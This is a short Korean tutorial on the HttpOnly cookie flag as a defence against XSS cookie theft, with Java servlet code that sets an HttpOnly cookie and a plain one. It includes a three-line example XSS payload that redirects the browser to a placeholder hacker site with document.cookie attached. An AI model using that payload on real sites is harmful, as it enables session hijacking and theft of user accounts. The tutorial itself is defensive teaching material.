HttpOnly를 사용하면, XSS 공격을 예방할 수 있습니다.
우리가 인터넷을 사용하다 보면 HTTP 및 HTTPS 통신을 자주 하게 됩니다. 그러다 보면 로그인이나 상품을 구매할 수도 있고 다양한 활동들을 하게 되는데, 이때 사용되는 것이 쿠키입니다.
쿠키(Cookie)
쿠키(Cookie)는 세션 및 기타 정보를 관리하기 위해 사용합니다. 이런 쿠키가 존재하는 이유는 사용자의 유효성 검사를 위해서 주로 사용되는데, 톰캣을 사용한다면 주로 볼 수 있는 쿠키는 JSESSIONID 입니다.
JSESSIONID : 톰캣 컨테이너에서 세션을 유지하기 위해 발급하는 키
HTTP Only
위 사진처럼 httpOnly는 HttpOnly에 체크되어 있고, noneHttpOnly는 HttpOnly가 체크되어 있지 않습니다.
위 사진은 document.cookie
를 했을 때, 나온 결과 화면입니다.
보이는 대로 HttpOnly로 설정된 쿠키는 javascript에서 노출되지 않습니다.(단, 개발자 도구를 통해서는 볼 수 있습니다.)
따라서, 다음과 같은 XSS 공격을 통해 해커가 쿠키 값을 가져올 수 없습니다.
1
2
3
<script>
location.href = '해커사이트주소?cookie=' + document.cookie
</script>
Java 서버에서 처리
1
2
3
4
5
6
7
8
9
10
11
12
13
public Map index(HttpServletRequest request, HttpServletResponse response) {
Map<String, Object> map = new HashMap();
Cookie noneHttpOnly = new Cookie("noneHttpOnly", "test");
Cookie httpOnly = new Cookie("httpOnly", "test");
httpOnly.setHttpOnly(true);
response.addCookie(noneHttpOnly);
response.addCookie(httpOnly);
map.put("cookie", request.getCookies());
return map;
}
위와 같은 방식으로 noneHttpOnly
쿠키와 httpOnly
쿠키를 추가했습니다.
github 예시
https://github.com/JacksonJang/httpOnlyExample.git